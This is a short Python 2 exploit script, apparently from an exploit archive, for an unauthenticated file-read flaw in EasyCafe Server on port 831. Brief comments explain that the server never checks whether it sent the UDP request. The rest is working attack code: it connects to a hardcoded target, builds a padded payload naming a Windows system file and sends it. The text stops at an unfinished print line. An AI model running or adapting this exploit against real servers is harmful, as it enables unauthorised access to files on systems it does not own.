EasyCafe Server sends an UDP request to the client with the file that wants to upload, # Then the client receives the packet and connects to the server on port 831 and sends the directory of the file and receives it. # The problem is that a remote attacker can connect to port 831 and can retrive a file becuase the server doesn't validate the request, # and does not check if it has sent the UDP request which gives us full Read access to the system. # #EDB Note: Code my need some adjusting import socket #Banner banner = "" banner += " ___ __ ____ _ _ \n" banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / | | \n" banner +=" | || '_ | |_ / _ | | _ / _ '_ / _ | | \n" banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ | |___ \n" banner +=" |___|_| |_|_| ___/ ____|___|_| |_| /_/ ______|\n\n" print banner IP = "192.168.43.36" # Target IP PORT = 831 file_to_read = "C:\Windows\System32\drivers\etc\hosts" # File to read s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, PORT)) file_to_read = "\x43" + file_to_read hex_value = ''.join(x.encode('hex') for x in file_to_read) fill = "\x00" end = "\x01\x00\x00\x00\x01" payload = hex_value.decode("hex") + fill * (261 - len(end) - len(file_to_read)) + end s.send(payload) s.settimeout(0) print "[+] Request Send Waiting for Response . . .
